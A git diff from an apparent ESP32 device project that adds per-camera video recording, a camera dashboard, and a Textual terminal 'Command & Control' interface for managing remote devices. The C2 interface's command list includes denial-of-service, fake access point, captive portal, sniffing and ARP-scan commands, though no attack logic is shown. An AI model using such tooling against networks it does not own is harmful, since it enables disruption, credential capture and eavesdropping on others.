port: int = UDP_PORT,
|
||||
image_dir: str = IMAGE_DIR,
|
||||
on_frame: Optional[Callable] = None):
|
||||
on_frame: Optional[Callable] = None,
|
||||
device_registry=None):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.image_dir = image_dir
|
||||
self.on_frame = on_frame # Callback when frame received
|
||||
self.on_frame = on_frame
|
||||
self.device_registry = device_registry
|
||||
|
||||
self._sock: Optional[socket.socket] = None
|
||||
self._thread: Optional[threading.Thread] = None
|
||||
@ -81,9 +161,12 @@ class UDPReceiver:
|
||||
# Frame assemblers per source address
|
||||
self._assemblers: Dict[str, FrameAssembler] = {}
|
||||
|
||||
# Video recording
|
||||
self._video_writer: Optional[cv2.VideoWriter] = None
|
||||
self._video_size: Optional[tuple] = None
|
||||
# Per-camera recorders (keyed by device_id)
|
||||
self._recorders: Dict[str, CameraRecorder] = {}
|
||||
self._recordings_dir = os.path.join(os.path.dirname(image_dir), "recordings")
|
||||
|
||||
# IP to device_id mapping cache
|
||||
self._ip_to_device: Dict[str, str] = {}
|
||||
|
||||
# Statistics
|
||||
self.frames_received = 0
|
||||
@ -91,10 +174,15 @@ class UDPReceiver:
|
||||
self.decode_errors = 0
|
||||
self.packets_received = 0
|
||||
|
||||
# Active cameras tracking
|
||||
self._active_cameras: dict = {} # {camera_id: last_frame_time}
|
||||
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}}
|
||||
self._active_cameras: Dict[str, dict] = {}
|
||||
|
||||
os.makedirs(self.image_dir, exist_ok=True)
|
||||
os.makedirs(self._recordings_dir, exist_ok=True)
|
||||
|
||||
def set_device_registry(self, registry):
|
||||
"""Set device registry for IP to device_id lookup."""
|
||||
self.device_registry = registry
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
@ -102,21 +190,39 @@ class UDPReceiver:
|
||||
|
||||
@property
|
||||
def active_cameras(self) -> list:
|
||||
"""Returns list of active camera identifiers."""
|
||||
return list(self._active_cameras.keys())
|
||||
"""Returns list of active camera device IDs."""
|
||||
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
||||
|
||||
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
|
||||
"""Look up device_id from IP address using device registry."""
|
||||
# Check cache first
|
||||
if ip in self._ip_to_device:
|
||||
return self._ip_to_device[ip]
|
||||
|
||||
# Look up in device registry
|
||||
if self.device_registry:
|
||||
for device in self.device_registry.all():
|
||||
if device.address and device.address[0] == ip:
|
||||
self._ip_to_device[ip] = device.id
|
||||
return device.id
|
||||
|
||||
return None
|
||||
|
||||
def start(self) -> bool:
|
||||
"""Start the UDP receiver thread."""
|
||||
if self.is_running:
|
||||
return False
|
||||
|
||||
self._stop_event.clear()
|
||||
self._thread = threading.Thread(target=self._receive_loop, daemon=True)
|
||||
self._thread.start()
|
||||
|
||||
# Start timeout checker
|
||||
self._timeout_thread = threading.Thread(target=self._timeout_checker, daemon=True)
|
||||
self._timeout_thread.start()
|
||||
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop the UDP receiver and cleanup."""
|
||||
self._stop_event.set()
|
||||
|
||||
if self._sock:
|
||||
@ -126,15 +232,15 @@ class UDPReceiver:
|
||||
pass
|
||||
self._sock = None
|
||||
|
||||
if self._video_writer is not None:
|
||||
self._video_writer.release()
|
||||
self._video_writer = None
|
||||
for recorder in self._recorders.values():
|
||||
if recorder.is_recording:
|
||||
recorder.stop()
|
||||
|
||||
# Clean up frame files
|
||||
self._cleanup_frames()
|
||||
|
||||
self._active_cameras.clear()
|
||||
self._assemblers.clear()
|
||||
self._recorders.clear()
|
||||
self._ip_to_device.clear()
|
||||
self.frames_received = 0
|
||||
self.packets_received = 0
|
||||
|
||||
@ -147,15 +253,43 @@ class UDPReceiver:
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _timeout_checker(self):
|
||||
"""Check for camera timeouts and mark them as inactive."""
|
||||
while not self._stop_event.is_set():
|
||||
time.sleep(1)
|
||||
now = time.time()
|
||||
|
||||
for camera_id, info in list(self._active_cameras.items()):
|
||||
last_frame = info.get("last_frame", 0)
|
||||
was_active = info.get("active", False)
|
||||
|
||||
if now - last_frame > CAMERA_TIMEOUT_SECONDS:
|
||||
if was_active:
|
||||
self._active_cameras[camera_id]["active"] = False
|
||||
# Remove the frame file so frontend shows default image
|
||||
self._remove_camera_frame(camera_id)
|
||||
|
||||
def _remove_camera_frame(self, camera_id: str):
|
||||
"""Remove the frame file for a camera."""
|
||||
try:
|
||||
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
|
||||
if os.path.exists(filepath):
|
||||
os.remove(filepath)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _get_assembler(self, addr: tuple) -> FrameAssembler:
|
||||
"""Get or create a frame assembler for the given address."""
|
||||
key = f"{addr[0]}:{addr[1]}"
|
||||
if key not in self._assemblers:
|
||||
self._assemblers[key] = FrameAssembler()
|
||||
return self._assemblers[key]
|
||||
|
||||
def _get_recorder(self, camera_id: str) -> CameraRecorder:
|
||||
if camera_id not in self._recorders:
|
||||
self._recorders[camera_id] = CameraRecorder(camera_id, self._recordings_dir)
|
||||
return self._recorders[camera_id]
|
||||
|
||||
def _receive_loop(self):
|
||||
"""Main UDP receive loop with START/END protocol handling."""
|
||||
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self._sock.bind((self.host, self.port))
|
||||
@ -173,50 +307,45 @@ class UDPReceiver:
|
||||
|
||||
self.packets_received += 1
|
||||
|
||||
# Validate token
|
||||
if not data.startswith(SECRET_TOKEN):
|
||||
self.invalid_tokens += 1
|
||||
continue
|
||||
|
||||
# Remove token prefix
|
||||
payload = data[len(SECRET_TOKEN):]
|
||||
assembler = self._get_assembler(addr)
|
||||
camera_id = f"{addr[0]}_{addr[1]}"
|
||||
|
||||
# Handle protocol markers
|
||||
# Try to get device_id from IP, fallback to IP if not found
|
||||
ip = addr[0]
|
||||
device_id = self._get_device_id_from_ip(ip)
|
||||
if not device_id:
|
||||
# Fallback: use IP (without port to avoid duplicates)
|
||||
device_id = ip.replace(".", "_")
|
||||
|
||||
if payload == b"START":
|
||||
assembler.start_frame()
|
||||
continue
|
||||
elif payload == b"END":
|
||||
frame_data = assembler.finish_frame()
|
||||
if frame_data:
|
||||
self._process_complete_frame(camera_id, frame_data, addr)
|
||||
self._process_complete_frame(device_id, frame_data, addr)
|
||||
continue
|
||||
else:
|
||||
# Regular data chunk
|
||||
if not assembler.receiving:
|
||||
# No START received, try as single-packet frame (legacy)
|
||||
frame = self._decode_frame(payload)
|
||||
if frame is not None:
|
||||
self._process_frame(camera_id, frame, addr)
|
||||
self._process_frame(device_id, frame, addr)
|
||||
else:
|
||||
self.decode_errors += 1
|
||||
else:
|
||||
assembler.add_chunk(payload)
|
||||
|
||||
# Cleanup
|
||||
if self._sock:
|
||||
self._sock.close()
|
||||
self._sock = None
|
||||
|
||||
if self._video_writer:
|
||||
self._video_writer.release()
|
||||
self._video_writer = None
|
||||
|
||||
print("[UDP] Receiver stopped")
|
||||
|
||||
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
|
||||
"""Process a fully assembled frame."""
|
||||
frame = self._decode_frame(frame_data)
|
||||
if frame is None:
|
||||
self.decode_errors += 1
|
||||
@ -224,23 +353,27 @@ class UDPReceiver:
|
||||
self._process_frame(camera_id, frame, addr)
|
||||
|
||||
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
|
||||
"""Process a decoded frame."""
|
||||
self.frames_received += 1
|
||||
self._active_cameras[camera_id] = time.time()
|
||||
|
||||
# Update camera tracking
|
||||
self._active_cameras[camera_id] = {
|
||||
"last_frame": time.time(),
|
||||
"active": True,
|
||||
"addr": addr
|
||||
}
|
||||
|
||||
# Save frame
|
||||
self._save_frame(camera_id, frame)
|
||||
|
||||
# Record video if enabled
|
||||
if VIDEO_ENABLED:
|
||||
self._record_frame(frame)
|
||||
# Record if recording is active for this camera
|
||||
recorder = self._get_recorder(camera_id)
|
||||
if recorder.is_recording:
|
||||
recorder.write_frame(frame)
|
||||
|
||||
# Callback
|
||||
if self.on_frame:
|
||||
self.on_frame(camera_id, frame, addr)
|
||||
|
||||
def _decode_frame(self, data: bytes) -> Optional[np.ndarray]:
|
||||
"""Decode JPEG data to OpenCV frame."""
|
||||
try:
|
||||
npdata = np.frombuffer(data, np.uint8)
|
||||
frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR)
|
||||
@ -249,33 +382,87 @@ class UDPReceiver:
|
||||
return None
|
||||
|
||||
def _save_frame(self, camera_id: str, frame: np.ndarray):
|
||||
"""Save frame as JPEG file."""
|
||||
try:
|
||||
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
|
||||
cv2.imwrite(filepath, frame)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _record_frame(self, frame: np.ndarray):
|
||||
"""Record frame to video file."""
|
||||
if self._video_writer is None:
|
||||
self._video_size = (frame.shape[1], frame.shape[0])
|
||||
fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC)
|
||||
video_path = os.path.join(os.path.dirname(self.image_dir), VIDEO_PATH.split('/')[-1])
|
||||
self._video_writer = cv2.VideoWriter(
|
||||
video_path, fourcc, VIDEO_FPS, self._video_size
|
||||
)
|
||||
# === Recording API ===
|
||||
|
||||
if self._video_writer and self._video_writer.isOpened():
|
||||
self._video_writer.write(frame)
|
||||
def start_recording(self, camera_id: str) -> dict:
|
||||
if camera_id not in self._active_cameras or not self._active_cameras[camera_id].get("active"):
|
||||
return {"error": f"Camera {camera_id} not active"}
|
||||
|
||||
recorder = self._get_recorder(camera_id)
|
||||
if recorder.is_recording:
|
||||
return {"error": "Already recording", "filename": recorder.filename}
|
||||
|
||||
filename = recorder.start()
|
||||
return {"status": "recording", "filename": filename, "camera_id": camera_id}
|
||||
|
||||
def stop_recording(self, camera_id: str) -> dict:
|
||||
if camera_id not in self._recorders:
|
||||
return {"error": f"No recorder for {camera_id}"}
|
||||
|
||||
recorder = self._recorders[camera_id]
|
||||
if not recorder.is_recording:
|
||||
return {"error": "Not recording"}
|
||||
|
||||
result = recorder.stop()
|
||||
result["camera_id"] = camera_id
|
||||
result["path"] = os.path.join(self._recordings_dir, result["filename"])
|
||||
return result
|
||||
|
||||
def get_recording_status(self, camera_id: str = None) -> dict:
|
||||
if camera_id:
|
||||
if camera_id not in self._recorders:
|
||||
return {"camera_id": camera_id, "recording": False}
|
||||
recorder = self._recorders[camera_id]
|
||||
return {
|
||||
"camera_id": camera_id,
|
||||
"recording": recorder.is_recording,
|
||||
"filename": recorder.filename,
|
||||
"duration": recorder.duration,
|
||||
"frames": recorder.frame_count
|
||||
}
|
||||
|
||||
result = {}
|
||||
for cid, info in self._active_cameras.items():
|
||||
if info.get("active"):
|
||||
recorder = self._get_recorder(cid)
|
||||
result[cid] = {
|
||||
"recording": recorder.is_recording,
|
||||
"filename": recorder.filename if recorder.is_recording else None,
|
||||
"duration": recorder.duration if recorder.is_recording else 0
|
||||
}
|
||||
return result
|
||||
|
||||
def list_recordings(self) -> list:
|
||||
try:
|
||||
files = []
|
||||
for f in os.listdir(self._recordings_dir):
|
||||
if f.endswith(".avi"):
|
||||
path = os.path.join(self._recordings_dir, f)
|
||||
stat = os.stat(path)
|
||||
files.append({
|
||||
"filename": f,
|
||||
"size": stat.st_size,
|
||||
"created": stat.st_mtime
|
||||
})
|
||||
return sorted(files, key=lambda x: x["created"], reverse=True)
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def get_stats(self) -> dict:
|
||||
"""Return receiver statistics."""
|
||||
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
|
||||
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
||||
return {
|
||||
"running": self.is_running,
|
||||
"packets_received": self.packets_received,
|
||||
"frames_received": self.frames_received,
|
||||
"invalid_tokens": self.invalid_tokens,
|
||||
"decode_errors": self.decode_errors,
|
||||
"active_cameras": len(self._active_cameras)
|
||||
"active_cameras": active_count,
|
||||
"active_recordings": recording_count
|
||||
}
|
||||
|
||||
@ -14,45 +14,257 @@
|
||||
{% if image_files %}
|
||||
<div class="grid grid-cameras" id="grid">
|
||||
{% for img in image_files %}
|
||||
<div class="card">
|
||||
<div class="card" data-camera-id="{{ img.replace('.jpg', '') }}">
|
||||
<div class="card-header">
|
||||
<span class="name">{{ img.replace('.jpg', '').replace('_', ':') }}</span>
|
||||
<span class="badge badge-live">LIVE</span>
|
||||
<div class="card-actions">
|
||||
<button class="btn-record" data-camera="{{ img.replace('.jpg', '') }}" title="Start Recording">
|
||||
<svg width="14" height="14" viewBox="0 0 24 24" fill="currentColor">
|
||||
<circle cx="12" cy="12" r="8"/>
|
||||
</svg>
|
||||
</button>
|
||||
<span class="badge badge-live">LIVE</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-body card-body-image">
|
||||
<img src="/streams/{{ img }}?t=0" data-src="/streams/{{ img }}">
|
||||
<img src="/streams/{{ img }}?t=0"
|
||||
data-src="/streams/{{ img }}"
|
||||
data-default="/static/images/no-signal.png"
|
||||
onerror="this.src=this.dataset.default">
|
||||
</div>
|
||||
<div class="record-indicator" style="display: none;">
|
||||
<span class="record-dot"></span>
|
||||
<span class="record-time">00:00</span>
|
||||
</div>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% else %}
|
||||
<div class="empty">
|
||||
<h2>No active cameras</h2>
|
||||
<p>Waiting for ESP32-CAM devices to send frames on UDP port 5000</p>
|
||||
<div class="empty-cameras">
|
||||
<div class="no-signal-container">
|
||||
<img src="/static/images/no-signal.png" alt="No Signal" class="no-signal-img">
|
||||
<h2>No active cameras</h2>
|
||||
<p>Waiting for ESP32-CAM devices to send frames on UDP port 5000</p>
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endblock %}
|
||||
|
||||
{% block scripts %}
|
||||
<style>
|
||||
.card-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.btn-record {
|
||||
width: 28px;
|
||||
height: 28px;
|
||||
border-radius: 50%;
|
||||
border: none;
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text-secondary);
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.btn-record:hover {
|
||||
background: var(--status-error-bg);
|
||||
color: var(--status-error);
|
||||
}
|
||||
|
||||
.btn-record.recording {
|
||||
background: var(--status-error);
|
||||
color: white;
|
||||
animation: pulse-record 1.5s infinite;
|
||||
}
|
||||
|
||||
@keyframes pulse-record {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.6; }
|
||||
}
|
||||
|
||||
.record-indicator {
|
||||
padding: 8px 16px;
|
||||
background: var(--bg-elevated);
|
||||
border-top: 1px solid var(--border-color);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
font-size: 12px;
|
||||
color: var(--status-error);
|
||||
}
|
||||
|
||||
.record-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
background: var(--status-error);
|
||||
border-radius: 50%;
|
||||
animation: pulse-record 1s infinite;
|
||||
}
|
||||
|
||||
.record-time {
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.empty-cameras {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 60vh;
|
||||
}
|
||||
|
||||
.no-signal-container {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.no-signal-img {
|
||||
max-width: 300px;
|
||||
margin-bottom: 24px;
|
||||
opacity: 0.8;
|
||||
border-radius: 12px;
|
||||
}
|
||||
|
||||
.no-signal-container h2 {
|
||||
font-size: 20px;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.no-signal-container p {
|
||||
color: var(--text-muted);
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.card-body-image img {
|
||||
min-height: 180px;
|
||||
object-fit: contain;
|
||||
background: var(--bg-tertiary);
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
// Recording state
|
||||
const recordingState = {};
|
||||
|
||||
// Refresh camera images
|
||||
function refresh() {
|
||||
const t = Date.now();
|
||||
document.querySelectorAll('.card-body-image img').forEach(img => {
|
||||
img.src = img.dataset.src + '?t=' + t;
|
||||
// Only update if not showing default image
|
||||
if (!img.src.includes('no-signal')) {
|
||||
img.src = img.dataset.src + '?t=' + t;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Check for new/removed cameras
|
||||
async function checkCameras() {
|
||||
try {
|
||||
const res = await fetch('/api/cameras');
|
||||
const data = await res.json();
|
||||
const current = document.querySelectorAll('.card').length;
|
||||
document.getElementById('camera-count').textContent = data.count || 0;
|
||||
|
||||
// Update recording states
|
||||
if (data.cameras) {
|
||||
data.cameras.forEach(cam => {
|
||||
updateRecordingUI(cam.id, cam.recording);
|
||||
});
|
||||
}
|
||||
|
||||
if (data.count !== current) location.reload();
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
// Update recording UI
|
||||
function updateRecordingUI(cameraId, isRecording) {
|
||||
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
|
||||
if (!card) return;
|
||||
|
||||
const btn = card.querySelector('.btn-record');
|
||||
const indicator = card.querySelector('.record-indicator');
|
||||
|
||||
if (isRecording) {
|
||||
btn.classList.add('recording');
|
||||
btn.title = 'Stop Recording';
|
||||
indicator.style.display = 'flex';
|
||||
|
||||
// Start timer if not already
|
||||
if (!recordingState[cameraId]) {
|
||||
recordingState[cameraId] = { startTime: Date.now() };
|
||||
}
|
||||
} else {
|
||||
btn.classList.remove('recording');
|
||||
btn.title = 'Start Recording';
|
||||
indicator.style.display = 'none';
|
||||
delete recordingState[cameraId];
|
||||
}
|
||||
}
|
||||
|
||||
// Update recording timers
|
||||
function updateTimers() {
|
||||
for (const [cameraId, state] of Object.entries(recordingState)) {
|
||||
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
|
||||
if (!card) continue;
|
||||
|
||||
const timeEl = card.querySelector('.record-time');
|
||||
if (timeEl) {
|
||||
const elapsed = Math.floor((Date.now() - state.startTime) / 1000);
|
||||
const mins = Math.floor(elapsed / 60).toString().padStart(2, '0');
|
||||
const secs = (elapsed % 60).toString().padStart(2, '0');
|
||||
timeEl.textContent = `${mins}:${secs}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Toggle recording
|
||||
async function toggleRecording(cameraId) {
|
||||
const btn = document.querySelector(`[data-camera="${cameraId}"]`);
|
||||
const isRecording = btn.classList.contains('recording');
|
||||
|
||||
try {
|
||||
const endpoint = isRecording ? 'stop' : 'start';
|
||||
const res = await fetch(`/api/recording/${endpoint}/${cameraId}`, {
|
||||
method: 'POST'
|
||||
});
|
||||
const data = await res.json();
|
||||
|
||||
if (data.error) {
|
||||
console.error('Recording error:', data.error);
|
||||
return;
|
||||
}
|
||||
|
||||
updateRecordingUI(cameraId, !isRecording);
|
||||
|
||||
if (!isRecording) {
|
||||
recordingState[cameraId] = { startTime: Date.now() };
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Recording toggle failed:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// Event listeners
|
||||
document.querySelectorAll('.btn-record').forEach(btn => {
|
||||
btn.addEventListener('click', (e) => {
|
||||
e.preventDefault();
|
||||
const cameraId = btn.dataset.camera;
|
||||
toggleRecording(cameraId);
|
||||
});
|
||||
});
|
||||
|
||||
// Intervals
|
||||
setInterval(refresh, 100);
|
||||
setInterval(checkCameras, 5000);
|
||||
setInterval(updateTimers, 1000);
|
||||
|
||||
// Initial check
|
||||
checkCameras();
|
||||
</script>
|
||||
{% endblock %}
|
||||
|
||||
4
tools/c2/tui/__init__.py
Normal file
4
tools/c2/tui/__init__.py
Normal file
@ -0,0 +1,4 @@
|
||||
from tui.app import C3POApp
|
||||
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||
|
||||
__all__ = ["C3POApp", "tui_bridge", "TUIMessage", "MessageType"]
|
||||
295
tools/c2/tui/app.py
Normal file
295
tools/c2/tui/app.py
Normal file
@ -0,0 +1,295 @@
|
||||
"""
|
||||
Main C3PO TUI Application using Textual.
|
||||
Multi-device view: all connected devices visible simultaneously.
|
||||
"""
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from textual.app import App, ComposeResult
|
||||
from textual.binding import Binding
|
||||
from textual.containers import Horizontal, Vertical, Container, ScrollableContainer
|
||||
from textual.widgets import Static
|
||||
|
||||
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
|
||||
from tui.widgets.command_input import CommandInput
|
||||
from tui.widgets.device_tabs import DeviceTabs
|
||||
|
||||
|
||||
class DeviceContainer(Container):
|
||||
"""Container for a single device with border and title."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
DeviceContainer {
|
||||
height: 1fr;
|
||||
min-height: 6;
|
||||
border: solid $secondary;
|
||||
border-title-color: $text;
|
||||
border-title-style: bold;
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, device_id: str, **kwargs):
|
||||
super().__init__(**kwargs)
|
||||
self.device_id = device_id
|
||||
self.border_title = f"DEVICE: {device_id}"
|
||||
|
||||
|
||||
class C3POApp(App):
|
||||
"""C3PO Command & Control TUI Application."""
|
||||
|
||||
CSS_PATH = Path(__file__).parent / "styles" / "c2.tcss"
|
||||
|
||||
BINDINGS = [
|
||||
Binding("alt+g", "toggle_global", "Global", show=True),
|
||||
Binding("ctrl+l", "clear_global", "Clear", show=True),
|
||||
Binding("ctrl+q", "quit", "Quit", show=True),
|
||||
Binding("escape", "focus_input", "Input", show=False),
|
||||
Binding("tab", "tab_complete", show=False, priority=True),
|
||||
]
|
||||
|
||||
def __init__(self, registry=None, cli=None, **kwargs):
|
||||
super().__init__(**kwargs)
|
||||
self.registry = registry
|
||||
self.cli = cli
|
||||
self._device_panes: dict[str, DeviceLogPane] = {}
|
||||
self._device_containers: dict[str, DeviceContainer] = {}
|
||||
self._device_modules: dict[str, str] = {}
|
||||
|
||||
def compose(self) -> ComposeResult:
|
||||
yield DeviceTabs(id="tab-bar")
|
||||
|
||||
with Horizontal(id="main-content"):
|
||||
# Left side: all devices stacked vertically
|
||||
with Vertical(id="devices-panel"):
|
||||
yield Static("Waiting for devices...", id="no-device-placeholder")
|
||||
|
||||
# Right side: global logs
|
||||
with Container(id="global-log-container") as global_container:
|
||||
global_container.border_title = "GLOBAL LOGS"
|
||||
yield GlobalLogPane(id="global-log")
|
||||
|
||||
with Vertical(id="input-container"):
|
||||
yield Static(
|
||||
"Alt+G:Toggle Global ^L:Clear Logs ^Q:Quit Tab:Complete",
|
||||
id="shortcuts-bar"
|
||||
)
|
||||
yield CommandInput(id="command-input")
|
||||
|
||||
def on_mount(self) -> None:
|
||||
"""Called when app is mounted."""
|
||||
tui_bridge.set_app(self)
|
||||
self.set_interval(0.1, self.process_bridge_queue)
|
||||
|
||||
cmd_input = self.query_one("#command-input", CommandInput)
|
||||
if self.cli:
|
||||
cmd_input.set_completer(self._make_completer())
|
||||
cmd_input.focus()
|
||||
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
global_log.add_system(self._timestamp(), "C3PO TUI initialized - Multi-device view")
|
||||
|
||||
def _make_completer(self):
|
||||
"""Create a completer function that works without readline."""
|
||||
ESP_COMMANDS = [
|
||||
"system_reboot", "system_mem", "system_uptime", "system_info",
|
||||
"ping", "arp_scan", "proxy_start", "proxy_stop", "dos_tcp",
|
||||
"fakeap_start", "fakeap_stop", "fakeap_status", "fakeap_clients",
|
||||
"fakeap_portal_start", "fakeap_portal_stop",
|
||||
"fakeap_sniffer_on", "fakeap_sniffer_off",
|
||||
"cam_start", "cam_stop", "mlat", "trilat",
|
||||
]
|
||||
|
||||
def completer(text: str, state: int) -> str | None:
|
||||
if not self.cli:
|
||||
return None
|
||||
|
||||
cmd_input = self.query_one("#command-input", CommandInput)
|
||||
buffer = cmd_input.value
|
||||
parts = buffer.split()
|
||||
|
||||
options = []
|
||||
|
||||
if len(parts) <= 1 and not buffer.endswith(" "):
|
||||
options = ["send", "list", "modules", "group", "help", "clear", "exit",
|
||||
"active_commands", "web", "camera"]
|
||||
|
||||
elif parts[0] == "send":
|
||||
if len(parts) == 2 and not buffer.endswith(" "):
|
||||
options = ["all", "group"] + self.cli.registry.ids()
|
||||
elif len(parts) == 2 and buffer.endswith(" "):
|
||||
options = ["all", "group"] + self.cli.registry.ids()
|
||||
elif len(parts) == 3 and parts[1] == "group" and not buffer.endswith(" "):
|
||||
options = list(self.cli.groups.all_groups().keys())
|
||||
elif len(parts) == 3 and parts[1] == "group" and buffer.endswith(" "):
|
||||
options = ESP_COMMANDS
|
||||
elif len(parts) == 3 and parts[1] != "group":
|
||||
options = ESP_COMMANDS
|
||||
elif len(parts) == 4 and parts[1] == "group":
|
||||
options = ESP_COMMANDS
|
||||
|
||||
elif parts[0] == "web":
|
||||
if len(parts) <= 2:
|
||||
options = ["start", "stop", "status"]
|
||||
|
||||
elif parts[0] == "camera":
|
||||
if len(parts) <= 2:
|
||||
options = ["start", "stop", "status"]
|
||||
|
||||
elif parts[0] == "group":
|
||||
if len(parts) == 2 and not buffer.endswith(" "):
|
||||
options = ["add", "remove", "list", "show"]
|
||||
elif len(parts) == 2 and buffer.endswith(" "):
|
||||
options = ["add", "remove", "list", "show"]
|
||||
elif parts[1] in ("remove", "show") and len(parts) >= 3:
|
||||
options = list(self.cli.groups.all_groups().keys())
|
||||
elif parts[1] == "add" and len(parts) >= 3:
|
||||
options = self.cli.registry.ids()
|
||||
|
||||
matches = [o for o in options if o.startswith(text)]
|
||||
return matches[state] if state < len(matches) else None
|
||||
|
||||
return completer
|
||||
|
||||
def _timestamp(self) -> str:
|
||||
return time.strftime("%H:%M:%S")
|
||||
|
||||
def process_bridge_queue(self) -> None:
|
||||
for msg in tui_bridge.get_pending_messages():
|
||||
self._handle_tui_message(msg)
|
||||
|
||||
def _handle_tui_message(self, msg: TUIMessage) -> None:
|
||||
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||
timestamp = time.strftime("%H:%M:%S", time.localtime(msg.timestamp))
|
||||
|
||||
if msg.msg_type == MessageType.SYSTEM_MESSAGE:
|
||||
global_log.add_system(timestamp, msg.payload)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_CONNECTED:
|
||||
global_log.add_system(timestamp, f"{msg.device_id} connected")
|
||||
self._add_device_pane(msg.device_id)
|
||||
tabs = self.query_one("#tab-bar", DeviceTabs)
|
||||
tabs.add_device(msg.device_id)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_RECONNECTED:
|
||||
global_log.add_system(timestamp, f"{msg.device_id} reconnected")
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_INFO_UPDATED:
|
||||
self._device_modules[msg.device_id] = msg.payload
|
||||
global_log.add_system(timestamp, f"{msg.device_id} modules: {msg.payload}")
|
||||
self._update_device_title(msg.device_id)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_DISCONNECTED:
|
||||
global_log.add_system(timestamp, f"{msg.device_id} disconnected")
|
||||
self._remove_device_pane(msg.device_id)
|
||||
tabs = self.query_one("#tab-bar", DeviceTabs)
|
||||
tabs.remove_device(msg.device_id)
|
||||
|
||||
elif msg.msg_type == MessageType.DEVICE_EVENT:
|
||||
global_log.add_device_event(timestamp, msg.device_id, msg.payload)
|
||||
if msg.device_id in self._device_panes:
|
||||
event_type = self._detect_event_type(msg.payload)
|
||||
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, event_type)
|
||||
|
||||
elif msg.msg_type == MessageType.COMMAND_SENT:
|
||||
global_log.add_command_sent(timestamp, msg.device_id, msg.payload, msg.request_id)
|
||||
if msg.device_id in self._device_panes:
|
||||
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_sent")
|
||||
|
||||
elif msg.msg_type == MessageType.COMMAND_RESPONSE:
|
||||
global_log.add_command_response(timestamp, msg.device_id, msg.payload, msg.request_id)
|
||||
if msg.device_id in self._device_panes:
|
||||
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_resp")
|
||||
|
||||
elif msg.msg_type == MessageType.ERROR:
|
||||
global_log.add_error(timestamp, msg.payload)
|
||||
|
||||
def _detect_event_type(self, payload: str) -> str:
|
||||
payload_upper = payload.upper()
|
||||
if payload_upper.startswith("INFO:"):
|
||||
return "info"
|
||||
elif payload_upper.startswith("LOG:"):
|
||||
return "log"
|
||||
elif payload_upper.startswith("ERROR:"):
|
||||
return "error"
|
||||
elif payload_upper.startswith("DATA:"):
|
||||
return "data"
|
||||
return "info"
|
||||
|
||||
def _add_device_pane(self, device_id: str) -> None:
|
||||
"""Add a new device pane (visible immediately)."""
|
||||
if device_id in self._device_panes:
|
||||
return
|
||||
|
||||
# Hide placeholder
|
||||
placeholder = self.query_one("#no-device-placeholder", Static)
|
||||
placeholder.display = False
|
||||
|
||||
# Create container with border for this device
|
||||
container = DeviceContainer(device_id, id=f"device-container-{device_id}")
|
||||
pane = DeviceLogPane(device_id, id=f"device-pane-{device_id}")
|
||||
|
||||
self._device_containers[device_id] = container
|
||||
self._device_panes[device_id] = pane
|
||||
|
||||
# Mount in the devices panel
|
||||
devices_panel = self.query_one("#devices-panel", Vertical)
|
||||
